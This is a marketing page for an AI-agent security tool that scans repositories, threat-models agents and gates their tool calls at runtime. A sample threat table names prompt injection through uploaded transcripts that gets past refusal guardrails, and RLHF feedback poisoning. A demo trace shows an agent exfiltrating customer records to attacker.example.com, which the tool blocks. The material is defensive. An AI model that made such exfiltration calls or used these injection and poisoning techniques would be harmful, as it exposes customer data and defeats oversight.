Skip to main content

Find AI agent security risks before production.

Your board asked if your AI agents are safe. Scan your repo and send them the answer

AI security isn’t one problem.

It’s four. They arrive on different days, and you don’t have four people to chase them.

Inventory

Agents shipped without a security review

Shadow agents · MCP servers · untracked tools

Your teams add agents every sprint, and nobody keeps the list. The first real inventory usually happens after something breaks.

Risk Review

The review is stale the day after you ship

Static STRIDE · hand-drawn diagrams · quarterly reviews

Your code changes every deploy. A review drawn by hand last quarter describes agents that no longer exist.

Runtime Filters

Filters lose to rewording

Base64 payloads · synonym swaps · OCR in images

An attacker rewrites the same instruction until it slips through. A control that guesses is not something you can report on.

Compliance

Customers and regulators want evidence

EU AI Act · NIST AI RMF · ISO 42001

A customer questionnaire lands, or an EU AI Act date moves up. The only proof you have is a screenshot from last quarter.

How it works

Four questions your board will ask. In the order they ask them.

We read your GitHub and list every agent you have. We work out how each can be abused and write the fix. Then we check every tool call against it in production.

01 · Scope

What are you working on?

We read your GitHub repos and list every agent, tool, and MCP server you have. You upload nothing.

  • AI Inventory
  • AI Bill of Materials
Sample report · Repositories
Organization repositories
acme-ai · 6 of 42 scanned
RepositoryLangFingerprintTypeScan
customer-copilotTypeScript80
AI Agent
DiscoveredFingerprintedScanningAssessed
risk-summarizerPython75
LLM App
DiscoveredFingerprintedScanningAssessed
fraud-detectorPython60
ML Pipeline
DiscoveredFingerprintedScanningAssessed
doc-intake-agentTypeScript55
AI Agent
DiscoveredFingerprintedScanningAssessed
compliance-notebooksJupyter40
ML Pipeline
DiscoveredFingerprintedScanningAssessed
internal-wikiTypeScript15
Non-AI
DiscoveredFingerprintedScanningAssessed

02 · Sign

What can go wrong?

We work out how each agent can be abused and score the risk. Then we map it to the controls and frameworks you answer to.

  • Threat Modeling
  • Risk Assessment
  • Control Mapping
Sample report · Threats
customer-copilot, threat statements
5 threats · 3 covered
TM-001
Adversarial uservalid support-chat sessioninjects prompt via transcript uploadbypasses refusal guardrailsSafetyCustomer support agent
Critical
Gap
TM-002
Untrusted promptPII present in context windowelicits training-data regurgitationleaks customer recordsPrivacy & SecurityModel response
Critical
Covered
TM-003
External callerleaked API scopeinvokes write tool without authescalates to admin actionsControllabilityAgent runtime
High
Covered
TM-004
Coordinated feedback ringunfiltered RLHF intakesubmits poisoned thumbs-down pairsshifts refusal distributionVeracity & RobustnessFine-tune dataset
High
Gap
TM-005
Anonymous clientpublic chat endpointloops token-heavy promptsexhausts provider budgetAvailabilityLLM provider billing
Medium
Covered

03 · Stop

What are you doing about it?

Each finding gets a remediation spec. It names the architecture change to make and the protection to add. Both ship through the runtime SDK. Fixes arrive as pull requests.

  • Remediation Specs
  • Architecture Fixes
  • Runtime SDK
Sample report · Runtime
customer-copilot, live tool calls
Early Access
5 calls · 1 deferred · denied
raxit runtime

Checks every tool call against .raxit/security.yaml before it runs: permit, defer to a human, or deny. It ships inside your environment.

TimeTool callReasonVerdict
09:41:02crm.lookup_customerRead only, scoped to the person who opened the ticket.
permit
09:41:09refund.issue$4,200 is over the approver limit. Waiting for a human (defer.policy).
defer
09:41:14kb.searchInternal help articles only. No customer data in scope.
permit
09:41:20db.export_customersNot in security.yaml. Default deny (deny.default_or_forbid).
deny
09:41:27email.send_replyGoes to the ticket opener, an approved recipient.
permit
Remediation spec · raxit apply · refund.issue now requires approval · policy e1096c1f → 49e46c6a

04 · Measure

How effective are your controls?

By the time agents are running, you already know what works and what does not. Every blocked call traces back to the rule and the commit. New public incidents become checks in your next scan.

  • Attack Success Rate
  • Audit Trail
  • Root Cause
Sample report · Controls
customer-copilot, 77 unique controls
%implemented · of 77
IDCategoryControlFrameworkStatus
AC-03Access ControlTool-scope allowlist enforced at runtimeNIST AI RMF
Implemented
AC-07Access ControlPer-tenant API rate limitingISO 42001
Implemented
DA-02Data HandlingPII scrubbing on model input/outputEU AI Act
In Progress
MN-04MonitoringPrompt-injection attempts logged + alertedNIST AI RMF
Implemented
MN-09MonitoringDrift detection on refusal ratesISO 42001
Not Started
GV-01GovernanceModel card published with documented use-caseEU AI Act
Implemented
The runtime, live

The attack no filter catches. And what stops it.

One treasury agent, one run, two outcomes.

treasury_agent.py
$ raxit run --agent-id treasury-bot -- python treasury_agent.py
db.query(customer T-42)
Withoutalice@example.com · ssn 123-45-6789
raxitpermit · [REDACTED:pii_email] · [REDACTED:pii_ssn]Scope · tools it was given
refund.charge(amount=4200)
Withoutrefunded $4,200 · nobody was asked
raxitdefer.policy · a human approved it · permit.approvedSign · over the approver limit
send.external("attacker.example.com", report)
WithoutEXFILTRATED · 47 customer rows
raxit[raxit BLOCKED] deny.taint_trifecta · not executedStop · PII in session, egress refused
exit
Withoutno record of any of it
raxitaudit chain verified · 3 decisions · Ed25519 signedMeasure · every verdict on record
FAQ · Answers

Frequently Asked Questions

What teams building agents ask us before their first scan. We built the AI security practice at AWS. We ran over 150 enterprise AI audits and contribute to the OWASP LLM Top 10.

Still have questions?

We'll walk you through a real report and answer whatever it didn't.